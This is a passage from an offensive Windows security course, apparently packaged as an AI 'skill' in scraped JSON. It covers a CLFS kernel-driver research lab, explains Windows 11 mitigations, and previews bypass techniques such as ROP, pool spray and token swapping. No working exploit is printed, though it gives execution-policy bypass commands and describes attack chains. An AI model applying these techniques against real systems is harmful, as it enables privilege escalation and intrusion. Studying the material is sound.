WinDbg commands for CLFS debugging\n\n# Step 3: Run Python exploitation overview\npython src\\clfs_exploit_primitive.py\n# This explains:\n#   - UAF to kernel R\u002FW primitive chain\n#   - Pool spray techniques\n#   - Token swap for privilege escalation\n#   - CLFS CVE history and variant analysis\n\n# Step 4: Run lab setup script\nSet-ExecutionPolicy Bypass -Scope Process -Force\n.\\clfs_lab_setup.ps1\n# This will:\n#   - Create lab directory structure\n#   - Configure symbol paths\n#   - Show current clfs.sys info\n#   - Find existing .blf files on system\n#   - Create WinDbg cheatsheet\n\n# Step 5: Examine created log file\n# Note: PowerShell creates test.blf.blf (double extension)\n# The file may be locked by CLFS system - copy it first\nGet-Item C:\\CLFS_Research\\samples\\*.blf*\n\n# Copy the file to unlock it\nCopy-Item C:\\CLFS_Research\\samples\\test.blf.blf C:\\CLFS_Research\\samples\\test_copy.blf\n\n# View first 128 bytes in hex\nGet-Content C:\\CLFS_Research\\samples\\test_copy.blf -Encoding Byte -TotalCount 128 | Format-Hex\n\n# Analyze the CLFS file structure\n$bytes = [System.IO.File]::ReadAllBytes(\"C:\\CLFS_Research\\samples\\test_copy.blf\")\nWrite-Host \"File size: $($bytes.Length) bytes\"\nWrite-Host \"`nCLFS Header Analysis:\"\nWrite-Host \"Offset 0x00: 0x$($bytes[0].ToString('X2')) - Record type (0x15 = 21 decimal)\"\nWrite-Host \"Offset 0x0C-0x0F: Checksum = 0x$($bytes[12].ToString('X2'))$($bytes[13].ToString('X2'))$($bytes[14].ToString('X2'))$($bytes[15].ToString('X2'))\"\nWrite-Host \"`nThis is a valid 64KB CLFS log file ready for analysis!\"\n\n# Step 6: List CLFS files on your system\nGet-ChildItem -Path C:\\ -Filter \"*.blf\" -Recurse -ErrorAction SilentlyContinue | Select-Object FullName, Length, LastWriteTime\n\n# Step 7: Check CLFS driver version\nGet-Item C:\\Windows\\System32\\drivers\\clfs.sys | Select-Object VersionInfo\n\n# Step 8: For kernel debugging (requires separate VM setup)\n# On target VM:\nbcdedit \u002Fdebug on\nbcdedit \u002Fdbgsettings net hostip:YOUR_HOST_IP port:50000\n\n# On host with WinDbg:\nwindbg -k net:port=50000,key=YOUR_KEY\n\n# In WinDbg:\n.symfix\n.reload \u002Ff clfs.sys\nbp clfs!CClfsBaseFilePersisted::ReadMetadataBlock\ng\n```\n\n**Quick Start Commands**:\n\n```bash\n# Minimal setup - just compile and run the analysis tool\ncd C:\\CLFS_Research\ncl src\\clfs_analysis.c \u002FFe:bin\\clfs_analysis.exe \u002Flink clfsw32.lib\n.\\bin\\clfs_analysis.exe\n\n# Run Python overview\npython src\\clfs_exploit_primitive.py\n\n# Run PowerShell lab setup\npowershell -ExecutionPolicy Bypass -File .\\clfs_lab_setup.ps1\n```\n\n**Expected Output**:\n\n```text\n# clfs_analysis.exe output (may show error 1921 if not running as Administrator):\n========================================\nCLFS Vulnerability Research Guide\nCVE-2025-29824 Analysis\n========================================\n\n=== CLFS Attack Surface Analysis ===\n\nHigh-Value Targets in clfs.sys:\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n1. CClfsBaseFilePersisted::ReadMetadataBlock()\n   - Parses log file metadata\n   - Integer overflows in size calculations\n[... continues with full analysis ...]\n\nCreating test log file...\n[-] CreateLogFile failed: 1921\n# Note: Error 1921 = ERROR_CANT_ACCESS_FILE\n# This is expected - CLFS requires Administrator privileges\n# The PowerShell script (clfs_lab_setup.ps1) will create the file successfully\n\n# clfs_lab_setup.ps1 output (when run as Administrator):\n=== CLFS Research Lab Setup ===\n[*] Configuring symbols...\n[*] Current clfs.sys info:\n  Path: C:\\WINDOWS\\System32\\drivers\\clfs.sys\n  Version: 10.0.26100.7623 (WinBuild.160101.0800)\n  Size: 570776 bytes\n\n[*] Creating test log file...\n[+] Created: C:\\CLFS_Research\\samples\\test.blf.blf\n# Note: PowerShell creates test.blf.blf (double extension)\n# This is a valid 64KB CLFS log file\n\n[+] WinDbg cheatsheet saved to: C:\\CLFS_Research\\windbg_clfs_cheatsheet.txt\n\n=== Lab Setup Complete ===\n\n# Hex dump of created CLFS file:\nPath:\n00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n00000000   15 00 01 00 02 00 02 00 00 00 00 00 4B 82 4C C6  ............K.L.\n00000010   01 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF  ................\n00000020   00 00 00 00 FF FF FF FF 70 00 00 00 00 00 00 00  ........p.......\n...\n\nFile Analysis:\n- Size: 65,536 bytes (64KB standard CLFS block)\n- Offset 0x00: 0x15 (21) - Record type\n- Offset 0x0C: 0x4B824CC6 - Checksum\n- Valid CLFS metadata structure\n```\n\n### CLFS Practical Exercise\n\n**Lab A.1: CLFS Environment Setup**\n\n1. Run `clfs_lab_setup.ps1` to create research environment\n2. Enable kernel debugging on your VM\n3. Download CLFS symbols and verify loading\n\n**Lab A.2: CLFS API Exploration**\n\n1. Compile and run `clfs_analysis.c`\n2. Run `clfs_lab_setup.ps1` as Administrator to create test.blf.blf\n3. Copy and analyze the created log file:\n   ```powershell\n   Copy-Item C:\\CLFS_Research\\samples\\test.blf.blf C:\\CLFS_Research\\samples\\test_copy.blf\n   Get-Content C:\\CLFS_Research\\samples\\test_copy.blf -Encoding Byte -TotalCount 128 | Format-Hex\n   ```\n4. Monitor CLFS API calls with Process Monitor\n\n**Lab A.3: WinDbg CLFS Analysis**\n\n1. Set breakpoints on `ClfsDecodeBlock` and `ReadMetadataBlock`\n2. Open the created test.blf.blf file to trigger breakpoints\n3. Examine CLFS structures in memory:\n   ```\n   dt clfs!_CLFS_LOG_BLOCK_HEADER\n   !poolused 2 Clfs\n   ```\n4. Note: The C program may fail with error 1921 (requires Administrator)\n   Use the PowerShell-created test.blf.blf file instead\n\n**Lab A.4: Patch Diffing Exercise**\n\n1. Download clfs.sys from before\u002Fafter CVE-2025-29824 patch\n2. Use BinDiff\u002FGhidriff to identify patched functions\n3. Document the vulnerability root cause\n\n### Key Takeaways - CLFS\n\n- **CLFS is the #1 Windows kernel attack surface** for EoP in 2022-2025\n- **Log file parsing** is where most bugs occur\n- **UAF + pool spray** is the standard exploitation primitive (see **Appendix B** for Segment Heap pool spray internals)\n- **Variant analysis** is highly effective - same code paths repeatedly vulnerable\n- **Patch diffing CLFS updates** is a productive research activity\n\n**Important Notes:**\n\n- CreateLogFile may fail with error 1921 (ERROR_CANT_ACCESS_FILE) - requires Administrator privileges\n- PowerShell script creates test.blf.blf (double extension) - this is normal\n- Created .blf files may be locked by CLFS system - copy them before analysis\n- Standard CLFS log files are 64KB (65,536 bytes)\n- File structure starts with record type (0x15) and checksum at offset 0x0C\n\n## Appendix C: Some Other Mitigations\n\n### Administrator Protection (Windows 11 24H2+)\n\n**What is Administrator Protection?**:\n\n- Enhanced replacement for traditional UAC Admin Approval Mode\n- Creates temporary, just-in-time elevated admin accounts\n- Temporary admin context destroyed after elevation completes\n- Prevents persistent admin tokens from being stolen\u002Fabused\n\n**How It Works**:\n\n```text\nTraditional UAC Admin Approval:\n--------------------------------------------------------------\n\nUser in Administrators group has TWO tokens:\n- Standard user token (used by default)\n- Admin token (used after UAC prompt)\n\nProblem: Admin token PERSISTS in session\n         Token theft attacks (e.g., token impersonation) can abuse it\n\nAdministrator Protection:\n--------------------------------------------------------------\n\nUser requests elevation:\n1. System creates TEMPORARY hidden admin account\n2. New admin token generated just-in-time\n3. Elevated action performed\n4. Temporary admin account\u002Ftoken DESTROYED\n5. No persistent admin token to steal!\n\nSecurity Benefit:\n- Token theft has limited window\n- Pass-the-hash harder (no persistent high-priv token)\n- Mimikatz token impersonation much less effective\n```\n\n**Enabling Administrator Protection**:\n\n```powershell\n# Check current status (Windows 11 24H2+)\nGet-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" -Name \"TypeOfAdminApprovalMode\" -ErrorAction SilentlyContinue\n\n# Values:\n# 0 = Admin Approval Mode disabled (not recommended)\n# 1 = Traditional Admin Approval Mode (default)\n# 2 = Admin Approval Mode with Administrator Protection (enhanced)\n\n# Enable via Group Policy:\n# Computer Configuration -> Windows Settings -> Security Settings ->\n# Local Policies -> Security Options ->\n# \"User Account Control: Configure type of Admin Approval Mode\"\n# Set to: \"Admin Approval Mode with Administrator Protection\"\n\n# Or via Registry (for testing):\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" \u002Fv TypeOfAdminApprovalMode \u002Ft REG_DWORD \u002Fd 2 \u002Ff\n\n# Restart required for changes to take effect\n```\n\n### Personal Data Encryption (PDE)\n\n**What is PDE?**:\n\n- File-level AES-256 encryption for known folders\n- Protected by Windows Hello for Business authentication\n- Separate from BitLocker (provides per-user protection)\n- Data stays encrypted until user authenticates via Windows Hello\n\n**Protected Folders**:\n\n- Desktop\n- Documents\n- Pictures\n\n**How PDE Differs from BitLocker**:\n\n| Feature            | BitLocker     | PDE                    |\n| ------------------ | ------------- | ---------------------- |\n| Scope              | Full disk     | Per-user folders       |\n| Key Storage        | TPM           | User container (VBS)   |\n| Unlock Mechanism   | Boot PIN\u002FAuto | Windows Hello          |\n| Multi-user support | N\u002FA           | Each user has own keys |\n| Offline attack     | Protected     | Protected + user-bound |\n\n**Checking PDE Status**:\n\n```powershell\n# Requires Windows 11 22H2+ with Windows Hello for Business\n\n# Check if PDE is enabled\nGet-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\PolicyManager\\current\\device\\PDE\" -ErrorAction SilentlyContinue\n\n# PDE requires:\n# - Windows 11 Enterprise\u002FEducation (NOT available on Pro\u002FHome)\n# - Windows Hello for Business enrolled\n# - VBS enabled (for key protection)\n\n# Check Windows edition\n(Get-ComputerInfo).WindowsEditionId\n\n# Note: Empty output means PDE is not configured\n```\n\n### Enhanced Sign-in Security (ESS)\n\n**What is ESS?**:\n\n- VBS-protected biometric data processing\n- Isolates face\u002Ffingerprint authentication in secure virtualization environment\n- Prevents biometric replay attacks\n- Secure channel between biometric sensors and Windows Hello\n\n**Architecture**:\n\n```text\nWithout ESS:\n---------------------------------------------------------------------------------------\nBiometric Sensor -> Standard Driver -> Windows Hello -> Credential Provider\n                   ↑\n        Potential attack surface (driver vulnerabilities)\n\nWith ESS:\n---------------------------------------------------------------------------------------\nBiometric Sensor -> ESS-capable Driver -> [VTL 1 Secure Processing] -> Credential Provider\n                                        ↑\n                           Isolated from kernel\u002Fmalware\n                           Biometric data never exposed to VTL 0\n\nAttack Mitigation:\n- Biometric data can't be extracted by malware\n- Replay attacks blocked at hardware level\n- Driver compromises can't steal biometric templates\n```\n\n**Requirements**:\n\n- ESS-capable biometric hardware (fingerprint sensors, IR cameras)\n- Default on Copilot+ PCs\n- Manual enable on supported hardware otherwise\n\n**Checking ESS Status**:\n\n```powershell\n# Check if ESS is enabled\nGet-CimInstance -Namespace root\\Microsoft\\Windows\\DeviceGuard -ClassName Win32_DeviceGuard |\n    Select-Object -Property EnhancedSignInSecurity*\n\n# Look for: EnhancedSignInSecuritySupported, EnhancedSignInSecurityMode\n# Note: Empty output means ESS properties not available (no ESS-capable hardware)\n\n# Check if you have biometric hardware at all\nGet-PnpDevice | Where-Object {$_.Class -eq \"Biometric\"}\n\n# If no biometric devices found, ESS is not applicable to your system\n```\n\n### Passkeys (FIDO2 Passwordless Authentication)\n\n**What are Passkeys?**:\n\n- Native FIDO2 passwordless authentication in Windows 11\n- Hardware-backed credentials using TPM\n- Cross-device sync via Microsoft account\n- Phishing-resistant (bound to specific domains)\n\n**Security Benefits**:\n\n```text\nPassword vs. Passkey Security:\n------------------------------------------------------\n\nTraditional Password:\n- Can be phished (user types on fake site)\n- Can be credential-stuffed (reused passwords)\n- Can be brute-forced (weak passwords)\n- Stored on server (breach = mass compromise)\n\nPasskey (FIDO2):\n- Domain-bound (can't be phished to wrong site)\n- Unique per site (no credential stuffing)\n- Hardware-backed (can't be brute-forced)\n- Public key on server (breach = harmless data)\n\nAttack Surface Reduction:\n- Eliminates password guessing attacks\n- Eliminates phishing credential theft\n- Eliminates password spray attacks\n```\n\n**Windows Passkey Management**:\n\n```text\n# Passkeys stored in Windows Hello credential provider\n# Access via Settings -> Accounts -> Passkeys\n\n# Or programmatically query:\n# Uses WebAuthn APIs (Windows.Security.Credentials)\n```\n\n### Enhanced Phishing Protection\n\n**What is Enhanced Phishing Protection?**:\n\n- SmartScreen-based password protection\n- Detects password entry on known phishing sites\n- Warns when reusing work passwords on non-work sites\n- Alerts on unsafe password storage (plaintext in files)\n\n**Protection Modes**:\n\n| Alert Type             | Trigger                            | Impact                       |\n| ---------------------- | ---------------------------------- | ---------------------------- |\n| Phishing site warning  | Typing password on malicious site  | Blocks credential submission |\n| Password reuse warning | Using work password elsewhere      | Warning notification         |\n| Unsafe storage warning | Saving password in plaintext files | Warning notification         |\n\n**Enabling**:\n\n```text\n# Via Group Policy:\n# Computer Configuration -> Administrative Templates -> Windows Components ->\n# Windows Defender SmartScreen -> Enhanced Phishing Protection\n\n# Settings:\n# - Notify Malicious: Warn on phishing sites\n# - Notify Password Reuse: Warn on corporate password reuse\n# - Notify Unsafe App: Warn on plaintext password storage\n```\n\n### SMB Protocol Hardening (Windows 11 24H2+)\n\n**What Changed**:\n\n- SMB signing now **required by default** (previously optional)\n- SMB NTLM blocking capability added\n- SMB encryption mandate capability\n- SMB over QUIC client access control\n\n**Security Impact**:\n\n```text\nSMB Relay Attacks Before 24H2:\n--------------------------------------------------------------\nAttacker intercepts SMB traffic -> Relays to another server\nWorks because signing was optional by default\n\nSMB After 24H2:\n--------------------------------------------------------------\nAll SMB traffic MUST be signed\nRelay attacks fail (signature verification fails)\n```\n\n**Checking SMB Signing Status**:\n\n```bash\n# Check SMB server configuration\nGet-SmbServerConfiguration | Select-Object RequireSecuritySignature, EnableSecuritySignature\n\n# Check SMB client configuration\nGet-SmbClientConfiguration | Select-Object RequireSecuritySignature, EnableSecuritySignature\n\n# Windows 11 24H2 defaults:\n# RequireSecuritySignature = True\n```\n\n### NTLMv1 Removal\n\n**What Changed**:\n\n- NTLMv1 is **completely removed** in Windows 11 24H2 and Windows Server 2025\n- NTLMv2 still available (but deprecation planned)\n- Kerberos is the default and recommended authentication protocol\n\n**Impact on Attacks**:\n\n```text\nNTLM Attack Surface Before:\n--------------------------------------------------------------\nNTLMv1 is cryptographically weak:\n- Rainbow table attacks feasible\n- Relay attacks easier\n- Downgrade attacks possible\n\nAfter NTLMv1 Removal:\n--------------------------------------------------------------\n- No downgrade from NTLMv2 to v1 possible\n- Legacy attacks eliminated\n- Responder\u002Frelay attacks harder\n```\n\n**Checking NTLM Configuration**:\n\n```powershell\n# Check which NTLM versions are allowed\nGet-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" -Name \"LmCompatibilityLevel\" -ErrorAction SilentlyContinue\n\n# Values (if key exists):\n# 0-1: LM and NTLMv1 allowed (legacy, insecure)\n# 2: NTLMv1 allowed\n# 3-4: NTLMv2 only\n# 5: NTLMv2 only, refuse LM\u002FNTLMv1\n\n# Note: In Windows 11 24H2+, this key may not exist by default\n# Absence of key = NTLMv1 removed, NTLMv2 only (secure default)\n\n# Check if LM hashes are disabled (should be 1)\nGet-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" -Name \"NoLMHash\" -ErrorAction SilentlyContinue\n\n# Check NTLM session security requirements\nGet-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0\" -ErrorAction SilentlyContinue | Select-Object NtlmMinClientSec, NtlmMinServerSec\n\n# Common secure values:\n# NtlmMinClientSec\u002FNtlmMinServerSec = 536870912 (0x20000000)\n# Means: Require NTLMv2 session security + 128-bit encryption\n```\n\n### Rust in Windows Kernel (Memory Safety)\n\n**What Changed**:\n\n- Parts of Windows kernel now written in Rust\n- Win32k GDI region code rewritten (reported as `win32kbase_rs.sys`; shipping name may vary by build)\n- Memory-safe language eliminates entire bug classes\n\n**Security Impact**:\n\n```text\nTraditional C\u002FC++ Kernel Code:\n-------------------------------------------------------------\nVulnerable to:\n- Buffer overflows\n- Use-after-free\n- Type confusion\n- Integer overflows\n- Null pointer dereferences\n\nRust Kernel Code:\n-------------------------------------------------------------\nEliminated by design:\n- Buffer overflows (bounds checking)\n- Use-after-free (ownership model)\n- Data races (borrow checker)\n- Null dereferences (Option types)\n\nRemaining attack surface:\n- Logic bugs (Rust doesn't prevent these)\n- unsafe{} blocks (audited carefully)\n- FFI boundaries (C\u002FRust interface)\n```\n\n**Why This Matters**:\n\n```text\nWin32k.sys Vulnerability History:\n-------------------------------------------------------------\nWin32k has been the #1 kernel attack surface for a decade\n- Hundreds of CVEs (mostly memory corruption)\n- Complex codebase with legacy debt\n\nRust Rewrite Impact:\n- Future memory corruption bugs in GDI nearly impossible\n- Attackers must find logic bugs instead\n- Significantly raises exploitation difficulty\n```\n\n### Windows Protected Print Mode (24H2)\n\n**What is Protected Print Mode?**:\n\n- Modern print stack using only Mopria-certified drivers\n- Eliminates third-party print drivers (major attack surface)\n- Driver vulnerabilities have historically been popular attack vectors\n\n**Security Impact**:\n\n```text\nTraditional Print Stack Attack Surface:\n-------------------------------------------------------------\nThird-party print drivers loaded into:\n- Print Spooler (SYSTEM context)\n- Kernel mode (some drivers)\n- User applications\n\nHistorical CVEs:\n- PrintNightmare (CVE-2021-34527)\n- Many spooler vulnerabilities\n- Driver loading = code execution\n\nProtected Print Mode:\n-------------------------------------------------------------\nOnly certified drivers allowed:\n- Mopria-certified (standardized, audited)\n- No arbitrary kernel code loading\n- Reduced privilege for print operations\n\nAttack surface massively reduced\n```\n\n### Key Takeaways - New Mitigations\n\n1. **Administrator Protection** eliminates persistent admin tokens (anti-mimikatz)\n2. **PDE** provides per-user file encryption beyond BitLocker\n3. **ESS** isolates biometric processing in VBS (anti-biometric theft)\n4. **Passkeys** eliminate password-based attacks entirely\n5. **SMB Signing Required** breaks relay attacks by default\n6. **NTLMv1 Removal** eliminates legacy authentication weaknesses\n7. **Rust in Kernel** eliminates memory corruption bug classes\n8. **Protected Print** removes historically vulnerable driver attack surface\n\n### Discussion Questions - New Mitigations\n\n1. How does Administrator Protection affect red team token manipulation techniques?\n2. Can PDE protected folders be accessed by malware running as the authenticated user?\n3. What happens to passkeys if your TPM is cleared or hardware changes?\n4. How would you test if SMB signing is properly enforced in an enterprise?\n5. What types of vulnerabilities can still occur in Rust kernel code?\n\n## Week 6 Summary\n\nThis week provided comprehensive understanding of Windows exploit mitigations:\n\n**Skills Acquired**:\n\n- Detect and verify mitigations using `dumpbin`, `Get-ProcessMitigation`, and WinDbg\n- Compile binaries with\u002Fwithout specific protections for testing\n- Analyze crash dumps to identify which mitigation blocked an exploit\n- Understand the hardware foundations (NX bit, Intel CET, VBS)\n- Map Linux mitigations to Windows equivalents\n\n**Mitigation Quick Reference**:\n\n| Mitigation    | Compile Flag     | Runtime Check    | Bypass Preview (Week 8)  |\n| ------------- | ---------------- | ---------------- | ------------------------ |\n| DEP           | `\u002FNXCOMPAT`      | Execute fault    | ROP chains               |\n| ASLR          | `\u002FDYNAMICBASE`   | Random addresses | Info leaks               |\n| High Entropy  | `\u002FHIGHENTROPYVA` | 17+ bits entropy | Partial overwrites       |\n| Stack Cookies | `\u002FGS` (default)  | Cookie mismatch  | Leak\u002Fbrute force         |\n| CFG           | `\u002Fguard:cf`      | Bitmap check     | Valid targets, data-only |\n| XFG           | OS-level (auto)  | Type hash check  | Type confusion           |\n| CET           | `\u002FCETCOMPAT`     | Shadow stack     | COOP, JOP (difficult)    |\n\n**Connection to Other Weeks**:\n\n```text\nWeek 4 (Crash Analysis)          Week 6 (Mitigations)\n----------------------------------------------------------\nCrash dump with 0xC0000005   ->   Identify DEP violation (Param[0]=8 for execute)\nProcess exit  0xC0000409     ->   Identify \u002FGS cookie failure (subcode 2)\nProcess exit  0x80000003     ->   Identify CFG or CET block (__fastfail -> int 0x29)\nWinDbg exc.   0xC0000409     ->   Check subcode: 2=\u002FGS, 10=CFG (exit code differs!)\n!analyze -v output           ->   Map to specific protection\nBucket ID patterns           ->   Determine exploit type\n\nWeek 5 (Basic Exploitation)      Week 6 (Mitigations)\n----------------------------------------------------------\nStack overflow -> shellcode   ->   Blocked by DEP + ASLR + \u002FGS\nret2libc with known addrs     ->   Blocked by ASLR\nHeap overflow -> func ptr     ->   Blocked by CFG\nFormat string -> GOT write    ->   Blocked by CFG + ASLR\n\nWeek 6 (Mitigations)            Week 8 (Bypass Techniques)\n----------------------------------------------------------\nDEP blocks shellcode         ->   ROP\u002Fret2libc bypass\nASLR hides addresses         ->   Info leak techniques\n\u002FGS detects overflow         ->   Canary leak\u002Fbrute force\nCFG validates calls          ->   Valid target abuse\n```\n\n**Looking Ahead to Week 7**:\n\nWeek 7 continues your mitigation education with advanced enterprise security topics:\n\n- **Offensive Reconnaissance & Mitigation Fingerprinting**: Learn target enumeration - build comprehensive scanners to fingerprint system and process mitigations, identify weak points, and plan multi-stage attack paths\n- **Windows 11 24H2\u002F25H2 Specific Mitigations**: Learn the latest security features including KASLR API restrictions, Administrator Protection, Smart App Control, HVCI defaults, and enhanced Mark of the Web protections\n- **Next-Gen Mitigations (Critical for 2025)**: Learn defenses like XFG (eXtended Flow Guard), Kernel CET Shadow Stack, ARM64 PAC\u002FBTI\u002FMTE, and Linux innovations like io_uring, Landlock, and eBPF LSM\n- **Smart App Control (SAC) and Administrator Protection**: Bypass Windows 11's application whitelisting and admin authentication requirements through signed malware, LNK files, and trust chain abuse\n- **Cross-platform mitigations**: Master both Windows and Linux defense landscapes - from CFG\u002FXFG to seccomp\u002Fio_uring bypasses, and understand ARM64-specific protections\n- **Kernel Data Protection (KDP) and Secure Boot**: Learn to bypass hypervisor-based protections, secure boot chains, and kernel-level exploit mitigations\n- **Comprehensive mitigation scanner development**: Build offensive reconnaissance tools that enumerate all system-level and process-level protections remotely\n- **Remote mitigation fingerprinting techniques**: Develop capabilities to identify attack surfaces, legacy binaries, and unprotected processes without direct system access\n- **Real-world malware evasion and bypass strategies**: Study actual threat actor techniques for bypassing enterprise defenses and maintaining persistence\n\n**Looking Ahead to Week 8**:\n\nAfter completing Weeks 6-7 (understanding mitigations), Week 8 teaches bypass techniques:\n\n- **Information Leaks and Defeating ASLR**: Master format string exploits, buffer over-reads, and UAF techniques to leak addresses and calculate base offsets, defeating address space layout randomization\n- **Return-Oriented Programming (ROP) for DEP Bypass**: Build sophisticated ROP chains using existing code gadgets - from basic ret2libc to advanced techniques like ORW, ret2csu, SROP, and stack pivoting\n- **Windows Data-Only Attacks, Indirect Syscalls & Stack Canary Bypass**: Learn modern techniques that avoid code execution entirely - overwrite function pointers, abuse indirect syscalls, and bypass \u002FGS protections through canary leaks\n- **Control Flow Guard (CFG) and XFG Bypasses**: Defeat Microsoft's control-flow integrity protections through valid target abuse, forward-edge CFI bypasses, and XFG circumvention techniques\n- **Heap Exploitation with Modern Protections**: Master advanced heap techniques like tcache poisoning, safe linking bypasses, and House of Apple\u002FKiwi variants despite glibc hardening\n- **CVE Case Studies and Real-World Exploit Chains**: Analyze complete exploit chains from actual vulnerabilities - understanding how multiple bypass techniques combine for full compromise\n- **ARM64 Exploitation — PAC, BTI & MTE Bypass**: Learn ARM64-specific exploitation including pointer authentication code signing bypasses, branch target identification circumvention, and memory tagging exploitation\n\n\u003C!-- Written by AnotherOne from @Pwn3rzs Telegram channel -->\n",{},"main","def8531e65114c0fca8fb8551c1871ee0eed705c","skills\u002FSnailSploit\u002FClaude-Red\u002Foffensive-windows-mitigations",24,"https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub","https:\u002F\u002Fskillshub.wtf","https:\u002F\u002Fgithub.com\u002FComeOnOliver","AI & Blockchain Engineer\r\n","2026-06-24 22:07:19",{"source":7,"skillName":5,"commands":35,"prompt":45,"zipAvailable":46},[36,39,42],{"tool":37,"command":38},"npx","npx skills add ComeOnOliver\u002Fskillshub --skill offensive-windows-mitigations",{"tool":40,"command":41},"bunx","bunx skills add ComeOnOliver\u002Fskillshub --skill offensive-windows-mitigations",{"tool":43,"command":44},"pnpm","pnpm dlx skills add ComeOnOliver\u002Fskillshub --skill offensive-windows-mitigations","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002FSnailSploit\u002FClaude-Red\u002Foffensive-windows-mitigations\u002FSKILL.md",true,[],[49,58,67,76,81,87],{"skillNo":50,"name":51,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":52,"categories":53,"keywords":54,"publishedAt":21},"01M6FKJN13GMG4KY57J3QD8GY5","model-hierarchy-skill","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzscole\u002Fmodel-hierarchy-skill\u002Fmodel-hierarchy-skill\u002FSKILL.md",[],[55,56,57],"model","model hierarchy","model hierarchy skill",{"skillNo":59,"name":60,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":61,"categories":62,"keywords":63,"publishedAt":21},"01M6FKJJJ6GCAMR4PPPRD12M5X","zoom-mcp","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fzoom-mcp\u002FSKILL.md",[],[64,65,66],"MCP","zoom","zoom mcp",{"skillNo":68,"name":69,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":21},"01M6FKJE3KYT3KPEZMEEHYKA6K","zoom-apps-sdk","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fzoom-apps-sdk\u002FSKILL.md",[],[73,74,75,65],"sdk","zoom apps sdk","apps",{"skillNo":77,"name":18,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":78,"categories":79,"keywords":80,"publishedAt":21},"01M6FKJ9EDH9Q5VWDF8HAJRSP0","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fwindows\u002FSKILL.md",[],[18],{"skillNo":82,"name":83,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":21},"01M6FKJ666BEEFC3AE9GJ72Q93","whiteboard","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fwhiteboard\u002FSKILL.md",[],[83],{"skillNo":88,"name":89,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":21},"01M6FKJ21WFCDGTJQ2Q91T9DVW","websockets","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fwebsockets\u002FSKILL.md",[],[89]]